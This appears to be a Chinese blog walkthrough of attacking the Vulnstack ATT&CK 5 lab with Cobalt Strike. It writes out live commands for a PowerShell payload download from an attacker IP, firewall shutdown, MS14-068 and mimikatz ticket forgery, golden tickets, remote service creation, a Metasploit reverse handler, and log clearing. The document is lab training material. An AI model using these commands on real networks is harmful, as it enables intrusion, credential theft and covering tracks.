内网中CobaltStrike4.0(CS4)的渗透之旅

    技术2022-07-13  81

    前言

    这是老以前做的一个,主要熟悉一下cs4的新特性,还是发出来看看吧,流程简单一些,但是内网流程还是比较完整的。大家可以看看

    本次靶机为红日安全的ATT&CK第五个靶场。http://vulnstack.qiyuanxuetang.net/vuln/detail/7/思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅文章中如有错误的地方望大佬指正。菜鸡文章望大佬勿喷。

    0x00信息收集

    Namp 扫一下

    发现 80 3306

    访问一下发现thinkphp5 记得是有rce的

    searchsploit thinkphp

    有货

    0x00入口权限获取

    cool可以用

    上传的姿势太多了,我就使用一个最简单的

    使用powershell 下载 CS payload

    powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','C:\phpstudy_pro\WWW\a.ps1') 推荐可以直接放到C:\\Windows\\Temp\\里面 C:\\Windows\\Temp\\payload.exe

    运行 直接上线 调整 sleep 1

    0x01 提权

    权限比较低,需要提权

    我生成了一个名为Priv Esc的listener(payload:tcp beacon)(建议勾选Bind to localhost only)

    为什么要勾选呢?作者的话:(反正就是勾选就对了)

    svc-exe

    svc-exe这个参数,并不是和exp提权那样,帮你从普通用户 ”pwn!!“ 一下子拿下系统,而是当管理员权限满足不了你的时候,可以用svc-exe进行提升(类似getsystem命令,但是getsystem不太好使)

    evelate svc-exe

    提权成功

    0x02 横向移动

    切换到高权限用户

    通过 explore-Process List 先查看一下进程,看看有没有杀毒软件

    ???

    这个靶机怎么可能有?但是流程还是要走一下的

    关闭防火墙

    使用命令 netsh advfirewall set allprofiles state off 关闭防火墙

    内网的信息搜集

    网段的端口扫描,得来一下意思意思吧

    然后查看域的信息

    net view /domain

    还可以用cs4的新增命令

    net domain net domain_controllers 老方法 run net config workstation

    工作站域是 sun.com

    可现在登录域是 win7

    因此我们需要一个域用户的进程来进行信息搜集

    我们需要一个域用户

    先调用 Logonpasswords 抓一波密码

    还可以直观的看一下view- credentials

    (因为是靶机,你最好把win7 的账户都登陆一下,否则只能抓到一个账户)

    那我们拿到了这些凭据如何去调用他们呢?

    切换回 本地管理员的beacon上 使用凭证有三种方法

    第一种:使用make_token去调用第二种:使用pth命令生成一个新的进程注入进去第三种:使用spawn as

    第一种:Make_token

    Make_token是在当前的 beacon 上进行身份伪造 在当前beacon上,您的权限、权限或标识没有变化。但是,当您与远程资源交互时,使用的是您 伪造的身份.

    先本地测试试命令,这个命令本地用户是用不了的,所以我们make_token一个域用户

    net group “domain admins” /domain

    有之前抓取的密码 域用户 leo 123.com

    make_token SUN.COM/leo 123.com # 注意域是SUN 要写成SUN.COM 才可以

    第二种:使用pth命令生成一个新的进程注入进去

    pth SUN.COM\leo NTMLhash

    找到PID

    然后steal_token PID 成功执行域命令

    steal_token 3860

    第三种:使用spawn as

    spawnas 命令生成具有其他用户凭据的 beacon

    用图形化不香吗?

    或者命令

    spawnas SUN.COM/leo 123.com

    第四中 进程注入到域用户的进程中,但必须得是 高权用户

    那我使用system权限进入,找到域用户进程

    就会多出来一个用户的beacon,成功

    0x03 域内信息收集

    有了域用户,那么就可以在域内收集信息

    方法太多了,我只简单的介绍CS里面东西

    net view net view sun

    查看信任域

    查看域内计算机

    查看域控

    net dclist sun 这是输入sun域就可以,不用 sun.com

    查看域管理员

    Net group \\sun.com domain admin

    查看所有用户

    看下sid

    信息汇总

    域管理员默认没有。。。因为我们还要提权操作

    域名:sun.com 域管理员:sun\administrator 域用户:administrator,admin,leo和一个krbtgt 域控:DC 域成员:DC,Win7 域控ip:192.168.138.138 用户sid:S-1-5-21-3388020223-1982701712-4030140183-1110 域sid:S-1-5-21-3388020223-1982701712-4030140183 已知凭据:sun\leo:123.com,win7\heart:123.com

    域提权

    我们利用之前所收集到的信息进行域提权的操作 只能上 ms14-068 域提权一波了

    先上传exp

    生成伪造缓存

    shell MS14-068.exe -u leo\@sun.com -p 123.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138

    此时会生成TGT_leo@sun.com.ccache的伪造缓存文件。

    mimikatz kerberos::purge 清空当前机器中所有凭证

    mimikatz kerberos::list 查看当前机器凭证

    导入伪造缓存前面

    用mimikaze

    mimikatz kerberos::ptc TGT_leo\@sun.com.ccache 将票据注入到内存中

    成功提取,读取到了数据

    0x04横向到域控

    正向连接

    拿下DC

    反向beacon连接

    先建立一个listener

    生成一个生成一个 stageless payload ,这里选用的是服务exe

    选取刚刚的listener

    生成exe

    我起名叫godc.exe

    然后访问 \\DC\\C$ upload 上传payload

    加入注册表

    主要这里有个坑 1 是\\ / 这俩要分清 2 还有就是 binpath= “C://” 这尼玛中间有个空格一定不能省略!!!! binpath=空格“C://” run sc \\DC create godc binpath= "C:/godc.exe"

    启动服务

    run sc \\DC start godc

    机子也是反向链接回来的,注意箭头

    在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去连接他。

    link操作 只能是smb beacon

    所以Leo那个是tcp的不能link操作

    也要先调用凭据,远程命令执行 关闭防火墙 remote-exec wmi DC netsh advfirewall set allprofiles state off

    0x05 权限维持

    黄金票据(golden ticket)

    1、首先我们需要先利用 logonpasswords 抓一波明文(在名为DC的Beacon进行操作)

    2、使用 dcsync 命令导出 krbtgt 的NTLM Hash

    或者,使用 hashdump 也可以导出hash

    到手

    3、为了方便于实践黄金票据

    找一个低权限的用户 ls \\DC\C$ 要进行对比

    制造黄金票据

    可以运行

    清除票据

    kerberos_ticket_purge

    0x06 通道的构建

    会话的派生

    打开msf监听

    msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/ msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf5 exploit(multi/handler) > set lhost msf5 exploit(multi/handler) > set lhost x.x.x.x lhost => x.x.x.x msf5 exploit(multi/handler) > set lport 6668 lport => 6668 msf5 exploit(multi/handler) > run

    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf5 exploit(multi/handler) > set lhost set lhost 127.0.0.1 set lhost eth0 set lhost 172.21.0.4 set lhost fe80::5054:ff:fe89:7f0f%eth0 set lhost ::1 set lhost lo msf5 exploit(multi/handler) > set lhost 49.233.129.171 lhost => 49.233.129.171 msf5 exploit(multi/handler) > set lport 6668 lport => 6668 msf5 exploit(multi/handler) > run

    CS搭建SOCKS代理都说不稳,所以转到MSF上

    0x07清除日志

    推荐脚本用奇安信A-Team写的脚本

    链接:https://github.com/QAX-A-Team/EventLogMaster

    0x08 小结

    思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅文章中如有错误的地方望大佬指正。菜鸡文章望大佬勿喷。
    Processed: 0.034, SQL: 9